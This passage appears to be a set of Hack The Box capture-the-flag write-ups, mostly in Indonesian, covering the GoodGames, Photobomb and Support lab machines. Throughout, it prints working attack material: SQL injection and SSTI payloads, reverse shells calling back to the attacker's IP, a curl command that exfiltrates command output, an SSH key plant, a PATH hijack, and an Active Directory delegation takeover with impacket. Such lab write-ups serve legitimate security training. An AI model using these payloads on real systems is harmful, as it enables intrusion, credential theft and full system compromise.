Referer: http://goodgames.htb/signup
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

email=admin@goodgames.htb' union select 1,2,3,group_concat(email,0x3a,id,0x3a,password) from user --+&password=admin
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fa3EpIWS3DUIJHMdF4Ghy%2Fsql%20injection%20login%20page.png?alt=media&amp;token=94545920-7885-4d3f-bd14-9f23f6f4d9fc" alt=""><figcaption></figcaption></figure>

Kita dapat valid email <admin@goodgames.htb> dan password **2b22337f218b2d82dfc3b6f77e7cb8ec**. Langsung kita crack saya menggunakan online hash cracker. Salahsatunya: <https://hashes.com/en/decrypt/hash>

Hasilnya:

```
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FHIgD58nxxK8to5Gqd5no%2Fhash%20cracked.png?alt=media&amp;token=647704ed-8826-45fa-82d4-c74e22491296" alt=""><figcaption></figcaption></figure>

Langsung saja login menggunakan email <admin@goodgames.htb> dan password superadministrator.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FQMQvpqindZwZDgL66nfF%2Fdashboard.png?alt=media&amp;token=6d52b244-e1bd-4780-a042-683169196524" alt=""><figcaption></figcaption></figure>

Tidak banyak yang bisa dieksplor disini namun kita mendapatkan subdomain baru melalui menu yang terletak di pojok kanan atas. [http://internal-administration.goodgames.htb](http://internal-administration.goodgames.htb/). Langsung kita tambahkan host tersebut pada /etc/hosts di system kita.

Pada internal-administration.goodgames.htb kita coba login menggunakan username **admin** dan password yang kita gunakan sebelumnya, **superadministrator**.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FtE8d8GePhzATQk0ncHFy%2Fdashboard%20internal.png?alt=media&amp;token=3423db47-bb14-4bcf-babb-b4ae8297da98" alt=""><figcaption></figcaption></figure>

Menggunakan addons browser Wappalyzer kita tau bahwa service ini menggunakan Flask.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FClAxXj9R1qVYLJ3MlLRC%2Fflask%20detected.png?alt=media&amp;token=78daee46-ffbb-4965-b9b4-b9929ec22e92" alt=""><figcaption></figcaption></figure>

Dan apa yang kalian pikirkan ketika mendengar kata Flask? Ya, SSTI. Untuk mengkonfirmasi apakah web ini memiliki kerentanan SSTI kita coba masukkan payload **{{7\*7}}**. Karena tidak banyak fitur yang bisa dicoba di halaman dashboard, kita langsung coba di form Edit Full Name.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FJtgHj9XFwd2L9IBcnOHx%2FSSTI%20confirmed.png?alt=media&amp;token=6bb9e12c-8568-4c64-b288-9de4c7dc2329" alt=""><figcaption></figcaption></figure>

Oke setelah dikonfirmasi web tersebut rentan terhadap SSTI, langkah selanjutnya adalah mendapatkan akses shell menggunakan kerentanan tersebut. Tenang saja, list payload SSTI to RCE sudah banyak bertebaran di internet. Berikut beberapa payload list untuk eksploitasi SSTI.

[Server Side Template Injection Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md)

Singkat cerita, salahsatu payload yang bisa digunakan adalah:

```
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id;uname -a').read() }}
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fj0P7gMAGHQHdUPQ8KfQv%2Frce.png?alt=media&amp;token=6b6faa31-403f-4572-82b4-3ebd5aae4edd" alt=""><figcaption></figcaption></figure>

Oke sekarang kita coba lakukan back connect agar lebih leluasa.

#### Spawning Shell

Oke disini saya mencoba reverse shell menggunakan payload

```
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.34/2525 0>&1
"').read() }}
```

Namun ternyata gagal. Saya sendiri kurang tau masalahnya dimana, kemungkinan di payload yang saya buat. Akhirnya saya kepikiran untuk memasukkan command tersebut kedalam sebuah file terlebih dahulu sebelum dipanggil.

Referensi:

[**Transfer File dengan Base64**](https://www.linuxsec.org/2020/04/menyalin-file-dengan-fitur-encode-base64.html)

[**Perintah Reverse Shell**](https://www.linuxsec.org/2016/06/reverse-shell-on-linux.html)

```
asuka@linuxsec:~$ cat rev.bash
#!/bin/bash
python3 -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.10.14.34",2525));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
asuka@linuxsec:~$ base64 rev.bash | tr -d '\n'
IyEvYmluL2Jhc2gKcHl0aG9uMyAtYyAnYT1fX2ltcG9ydF9fO2I9YSgic29ja2V0Iik7cD1hKCJzdWJwcm9jZXNzIikuY2FsbDtvPWEoIm9zIikuZHVwMjtzPWIuc29ja2V0KGIuQUZfSU5FVCxiLlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxMC4xMC4xNC4zNCIsMjUyNSkpO2Y9cy5maWxlbm87byhmKCksMCk7byhmKCksMSk7byhmKCksMik7cChbIi9iaW4vc2giLCItaSJdKScK⏎
```

Payload yang dikirim:

```
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('bash -c "echo IyEvYmluL2Jhc2gKcHl0aG9uMyAtYyAnYT1fX2ltcG9ydF9fO2I9YSgic29ja2V0Iik7cD1hKCJzdWJwcm9jZXNzIikuY2FsbDtvPWEoIm9zIikuZHVwMjtzPWIuc29ja2V0KGIuQUZfSU5FVCxiLlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxMC4xMC4xNC4zNCIsMjUyNSkpO2Y9cy5maWxlbm87byhmKCksMCk7byhmKCksMSk7byhmKCksMik7cChbIi9iaW4vc2giLCItaSJdKScK | base64 -d | tee /tmp/reverse.sh"').read() }}
```

```
name={{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('bash /tmp/reverse.sh').read() }}
```

Dan kita berhasil mendapatkan shell di mesin target.

```
asuka@linuxsec:~$ nc -lvp 2525
listening on [any] 2525 ...
connect to [10.10.14.34] from goodgames.htb [10.129.96.71] 50448
/bin/sh: 0: can't access tty; job control turned off
# uname -a
Linux 3a453ab39d3d 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 GNU/Linux
# id
uid=0(root) gid=0(root) groups=0(root)
# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
       valid_lft forever preferred_lft forever
# 

```

Oke sepertinya kita didalam sebuah container. Kita cek direktori home apakah ada flag yang bisa diambil.

```
# ls -lha /home
total 12K
drwxr-xr-x 1 root root 4.0K Nov  5  2021 .
drwxr-xr-x 1 root root 4.0K Nov  5  2021 ..
drwxr-xr-x 2 1000 1000 4.0K Oct 16 09:29 augustus
# ls -lha /home/augustus
total 1.2M
drwxr-xr-x 2 1000 1000 4.0K Oct 16 09:29 .
drwxr-xr-x 1 root root 4.0K Nov  5  2021 ..
lrwxrwxrwx 1 root root    9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 1000 1000 3.5K Oct 19  2021 .bashrc
-rw-r--r-- 1 1000 1000  807 Oct 19  2021 .profile
-rw-r----- 1 1000 1000   33 Oct 16 04:33 user.txt
# cat /home/augustus/user.txt
9df33163*****
```

Oke kita mendapatkan flag user. Namun ketika mengecek direktori /root tidak ada flag disitu. Kita bisa asumsikan bahwa kita harus escape terlebih dahulu dari container dan melakukan privilege escalation dari host.

Oh iya, ada satu yang aneh dalam container ini, yakni ketika kita mengecek file /etc/passwd kita tidak akan menjumpai user augustus disana.

```
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
```

Kita bisa asumsikan direktori /home/augustus merupakan direktori yang dimounting dari host. Oke, kita simpan informasi ini untuk nanti.

#### Finding Host IP

```
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         172.19.0.1      0.0.0.0         UG    0      0        0 eth0
172.19.0.0      0.0.0.0         255.255.0.0     U     0      0        0 eth0
```

Kita bisa asumsikan bahwa IP gateway adalah host dari container sekarang kita berada. Oke sekarang kita punya username **augustus**, alamat IP **172.19.0.1,** dan juga password **superadministrator** yang selalu bisa digunakan ulang. Sekarang langsung kita coba masuk kesana menggunakan informasi yang kita miliki.

```
# python -c 'import pty; pty.spawn("/bin/bash")' 
root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1
ssh augustus@172.19.0.1
augustus@172.19.0.1's password: superadministrator

Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Oct 16 10:33:48 2022 from 172.19.0.2
augustus@GoodGames:~$
```

Pada step sebelumnya kita mendapatkan informasi bahwa direktori /home/augustus dimounting ke container 172.19.0.2. Kita bisa memanfaatkan kondisi ini untuk melakukan privilege escalation.

Referensi:

[Privilege Escalation with 2 shells and host mount](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells-and-host-mount)

```
augustus@GoodGames:~$ ls -lha
ls -lha
total 1.2M
drwxr-xr-x 2 augustus augustus 4.0K Oct 17 01:29 .
drwxr-xr-x 3 root     root     4.0K Oct 19  2021 ..
-rwxr-xr-x 1 augustus augustus 1.2M Oct 17 01:29 bash
lrwxrwxrwx 1 root     root        9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus  220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 augustus augustus 3.5K Oct 19  2021 .bashrc
-rw-r--r-- 1 augustus augustus  807 Oct 19  2021 .profile
-rw-r----- 1 augustus augustus   33 Oct 16 05:33 user.txt
```

Dari container 172.19.0.2 kita jadikan file bash tadi menjadi suid binary.

```
root@3a453ab39d3d:/backend# cd /home/augustus
cd /home/augustus
root@3a453ab39d3d:/home/augustus# ls
ls
bash  user.txt
root@3a453ab39d3d:/home/augustus# chown root: bash
chown root: bash
root@3a453ab39d3d:/home/augustus# chmod u+sx bash
chmod u+sx bash
root@3a453ab39d3d:/home/augustus# ls -lha
ls -lha
total 1.2M
drwxr-xr-x 2 1000 1000 4.0K Oct 17 00:29 .
drwxr-xr-x 1 root root 4.0K Nov  5  2021 ..
lrwxrwxrwx 1 root root    9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 1000 1000 3.5K Oct 19  2021 .bashrc
-rw-r--r-- 1 1000 1000  807 Oct 19  2021 .profile
-rwsr-xr-x 1 root root 1.2M Oct 17 00:29 bash
-rw-r----- 1 1000 1000   33 Oct 16 04:33 user.txt
```

Dari mesin host, tinggal kita panggil file suid tadi.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FC0rfLgKPUPQ8SZz7dB4T%2Froot%20captured.png?alt=media&amp;token=5df7ef08-30b9-460b-a3f0-4bb83effc63e" alt=""><figcaption></figcaption></figure>

Ini merupakan salahsatu mesin dengan kategori easy di HTB yang dapat digunakan untuk mengasah kemampuan basic kita dalam eksploitasi. Salahsatu hal yang bisa kita pelajari dari mesin ini adalah **password reuse attack**.


# Photobomb

Writeup mesin Hack The Box Photobomb

### Port Scanning

Pertama, kita lakukan port scanning pada target.

```bash
sudo nmap -sV -sT -sC -oA nmap_initial photobomb.htb
```

Output dari nmap menunjukkan bahwa port yang terbuka hanya port 80 dan 22.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Photobomb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Sambil kita lakukan full port scan, kita bisa asumsikan bahwa kemungkinan kita akan mendapatkan akses masuk lewat aplikasi yang berada di port 80.

### Web Exploitation

Saat melihat source dari halaman depan aplikasi, kita mendapati file photobomb.js yang dapat diakses melalui url berikut: <http://photobomb.htb/photobomb.js>

```
http://pH0t0:b0Mb!@photobomb.htb/printer
```

Setelah melakukan fuzzing semua parameter pada fitur Download Photo, saya mengkonfirmasi adanya kerentanan command injection pada parameter **filetype**.

Untuk konfirmasi, pertama kita siapkan terlebih dahulu web server di mesin kita untuk menerima output dari command yang kita kirim.

```bash
python3 -m http.server 5555
```

Lalu pada parameter **filetype**, kita masukkan command

```
/bin/bash -c 'curl http://10.10.14.19:5555/?`uname -a | base64`'
```

Sesuaikan sendiri untuk IP dan portnya dengan IP mesin kalian.

Berikut screenshot saat command injection dikirim melalui Burp Repeater.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FqgwapJvA9sxe7TRMcqFz%2F1.%20req.png?alt=media&amp;token=8a844d85-d518-4049-8ac8-68e2cffd8d36" alt=""><figcaption></figcaption></figure>

Dan berikut response yang kita terima pada HTTP server yang sudah kita siapkan sebelumnya.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FmJIHr9ZoBXvHmFXUfzKl%2F2.%20resp.png?alt=media&amp;token=5f3170c3-712c-4c79-a4a6-bfe921bbb66a" alt=""><figcaption><p>Command Injection</p></figcaption></figure>

Disitu terlihat hasil dari decode base64 nya adalah output dari command **uname -a** yang kita kirim sebelumnya.

### Get Shell User Access

Setelah mengkonfirmasi adanya kerentanan Command Injection, saya mengubah payload sebelumnya dengan payload reverse shell. Namun entah payload saya yang salah, server mesin Photobomb yang error, atau memang didesain seperti itu, shell yang didapatkan setelah back connect seperti hang dan tidak bisa digunakan untuk menjalankan command apapun.

Solusi akhir yang terpikirkan adalah menambahkan public key SSH dari mesin saya ke server, sehingga saya bisa login ke SSH tanpa menggunakan password.

Referensi: [**SSH Tanpa Password**](https://www.linuxsec.org/2019/10/login-ssh-tanpa-password.html)

```
mkdir ~/.ssh && touch ~/.ssh/authorized_keys && echo "ssh-rsa AAAAB3NzaC1yc2EAAAAD.... some random public key.....4VGJLKPnmAr/hYl haibara@htb" | tee -a ~/.ssh/authorized_keys
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fgx5QjiS8b9jqgZANxzft%2F3.%20add%20ssh%20key.png?alt=media&amp;token=f33ae194-7252-4e71-b16f-1bdc1fa811e9" alt=""><figcaption></figcaption></figure>

Selanjutnya tinggal login SSH menggunakan key.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FhKVCVZW0KYT8bfDGXOGd%2F4.%20user%20pwned.png?alt=media&amp;token=4cc52b3c-890d-4c55-a23a-094d5b9e48de" alt=""><figcaption></figcaption></figure>

### Get Root Access

Dari user wizard, kita dapat melakukan privilege escalation memanfaatkan path injection. Pertama, kita cek terlebih dahulu apakah user kita dapat menjalankan command sudo tanpa password.

```
sudo -l
```

Output

```
User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
```

Ada "kesalahan" yang bisa kita eksploitasi disini yakni saat mengeksekusi sudo, kita juga dapat mengatur env (**SETENV**), yang nanti dapat kita chaining dengan kesalahan pada scripting file **cleanup.sh**.

Pada file **/opt/cleanup.sh**, baris terakhir memiliki kerentanan path injection dimana perintah path dari **find** tidak di define secara solid sehingga dapat kita manipulasi.

```
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
```

Cara melakukan privilege escalation dari kerentanan ini:

```bash
echo "/bin/bash -i" | tee /tmp/find
chmod +x /tmp/find
sudo PATH=/tmp/:$PATH /opt/cleanup.sh
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FZKr6DzDcABJjUIIjEEWb%2F5.%20rooted.png?alt=media&amp;token=b9884297-ef9d-47f8-8a8a-d06ab511b1fe" alt=""><figcaption><p>Path Injection</p></figcaption></figure>


# Support

Writeup Hack The Box Support

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FzAhf4PabaH5FAYBdfh6b%2Fsupport.png?alt=media&amp;token=30809dc9-2f44-4e37-adb9-2d8ad48502d0" alt=""><figcaption><p>HTB Support</p></figcaption></figure>

### Port scanning

```bash
sudo nmap -sV -sT -sC -oA nmap_initial 10.10.11.174
```

Output:

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-17 21:32 WIB
Nmap scan report for support.htb (10.10.11.174)
Host is up (0.023s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-17 14:32:46Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-07-17T14:32:52
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.55 seconds
```

Enumerate SMB

```bash
smbclient -L 10.10.11.174 --no-pass
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2F0NHmCbELdHVF7d3ysQgI%2Fimage.png?alt=media&amp;token=f354142b-9391-4c50-afd5-73d9d5581a78" alt=""><figcaption><p>Found shares</p></figcaption></figure>

And then, download all files from support-tools.

```bash
smbclient '//10.10.11.174/support-tools' -N -c 'prompt OFF;recurse ON;mget *'
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FhlfyiIaNxwbJTRwNBN2B%2Fimage.png?alt=media&amp;token=3a406dcf-ec40-41c9-bbfc-9bc27ade3f25" alt=""><figcaption><p>Download all files</p></figcaption></figure>

Now, we will extract the password from **UserInfo**. There are two options to get the password: static analysis and dynamic analysis.

### Dynamic Analysis

Try to run UserInfo.exe, before that, run tcpdump to check if there is any requests from the app.

```bash
sudo tcpdump -i tun0
```

```bash
mono UserInfo.exe find -first ''
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fy1HkQTSwLHO3dha2R1bz%2Fimage.png?alt=media&amp;token=2e38f904-8c51-4dae-8f49-96ff64a9e9cd" alt=""><figcaption><p>Run the program</p></figcaption></figure>

Check at tcpdump.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FB5IYT9s62oCPspQJUjWY%2Fimage.png?alt=media&amp;token=9311065f-801f-4fc0-a696-721a70f5b27a" alt=""><figcaption><p>tcpdump response</p></figcaption></figure>

After confirmed that the UserInfo send connection to the server, analyze the traffic with Wireshark.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fd5ekhtyrAH7wNaqSpHiV%2Fimage.png?alt=media&amp;token=9038e078-313b-43d7-b472-d6ea5eb58213" alt=""><figcaption><p>Paintext password</p></figcaption></figure>

Got credentials:

```
support\ldap : nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
```

### Static Analysis

Use AvaloniaILSpy do decompile the program.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FYRxKYGieXpSFowcJxR6Q%2Fimage.png?alt=media&amp;token=d8757ca8-ffe8-4c77-820e-fb45dabd7b2f" alt=""><figcaption><p>ILspy Linux</p></figcaption></figure>

We found the encrypted password and the key. Use python script to decrypt the key.

```python
#! /usr/bin/env python3
import base64

def get_password():
    encoded_string = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
    key = b"armando"

    array = base64.b64decode(encoded_string)
    array2 = bytearray(array)

    for i in range(len(array)):
        array2[i] = (array[i] ^ key[i % len(key)] ^ 0xDF)

    return array2.decode("utf-8")
password = get_password()
print(password)
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fc5nNQt3jq7Mk5wO7GO7R%2Fimage.png?alt=media&amp;token=02b840ee-70a1-4ec4-8fad-ebe8c0132118" alt=""><figcaption><p>Get the password</p></figcaption></figure>

### LDAP Enumeration

Enumerate all information using ldapsearch.

Query all username:

```bash
ldapsearch -H ldap://10.10.11.174 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-b 'DC=support,DC=htb' "(objectClass=person)" | \
grep "sAMAccountName:" | sed 's/sAMAccountName: //g'
```

Query all distinguished name.

```bash
ldapsearch -H ldap://10.10.11.174 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb' "(objectClass=person)" | grep "dn:"
```

Enumerate all information at dn support.

```bash
ldapsearch -H ldap://10.10.11.174 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=support,CN=Users,DC=support,DC=htb"
```

We found a credential at support info.

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2Fu3XQkCX29e9TL9ZnbiOu%2Fimage.png?alt=media&amp;token=b108d361-1414-4e32-bd60-5df006224a54" alt=""><figcaption><p>Found password</p></figcaption></figure>

Found creds:

```
Ironside47pleasure40Watchful
```

Next, spray the password to other account.

```bash
crackmapexec winrm 10.10.11.174 -u users.txt -p 'Ironside47pleasure40Watchful' --continue-on-success
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FXTUbSu4Tp3r5bVRtnoTG%2Fimage.png?alt=media&amp;token=830ca60d-0a22-4302-9545-8a45d91cf81d" alt=""><figcaption><p>Password spray with Crackmapexec</p></figcaption></figure>

### Get Low User

```bash
evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FGyym9W4ELIzYeNlBUWKi%2Fimage.png?alt=media&amp;token=fce943ae-84a8-46e5-9a46-c03c93db39bc" alt=""><figcaption><p>Get low user</p></figcaption></figure>

### Privilege Escalation

After googling, i found useful article here:

* <https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>
* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution>
* <https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview>
* <https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd>

First, we need to add computer to domain with Impacket.

```bash
impacket-addcomputer 'support.htb/support:Ironside47pleasure40Watchful' -computer-name 'ayanami' -computer-pass 'ayanami'
```

Then, import PowerView on target system.

```powershell
Import-Module .\PowerView.ps1
Get-DomainComputer
Get-DomainComputer ayanami
```

Now, edit the target's "rbcd" attribute

```bash
impacket-rbcd -delegate-to 'DC$' -dc-ip 10.10.11.174 -action 'read' 'support.htb/support:Ironside47pleasure40Watchful'
impacket-rbcd -delegate-from 'ayanami$' -delegate-to 'DC$' -dc-ip 10.10.11.174 -action 'write' 'support.htb/support:Ironside47pleasure40Watchful'
```

Now, obtain a ticket (delegation operation)

```bash
impacket-getST -spn 'cifs/dc.support.htb' -impersonate Administrator -dc-ip 10.10.11.174 'support.htb/ayanami$:ayanami'
```

Get shell as Administrator.

```bash
KRB5CCNAME=administrator.ccache impacket-psexec -dc-ip 10.10.11.174 -no-pass -k support.htb/administrator@dc.support.htb
```

<figure><img src="https://1891775682-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2YxxNVC63IWuD2WxadSC%2Fuploads%2FDDx1LiyhwC24sntlbwXh%2Fimage.png?alt=media&amp;token=c4736157-abf6-483c-9e61-d4fcd322f576" alt=""><figcaption><p>Owned</p></figcaption></figure>

### Tools Used

Tools used in this machine.

* <https://github.com/icsharpcode/AvaloniaILSpy>
* ldapsearch
* <https://github.com/Hackplayers/evil-winrm>
* <https://github.com/Porchetta-Industries/CrackMapExec>
* <https://github.com/fortra/impacket>
* <https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>


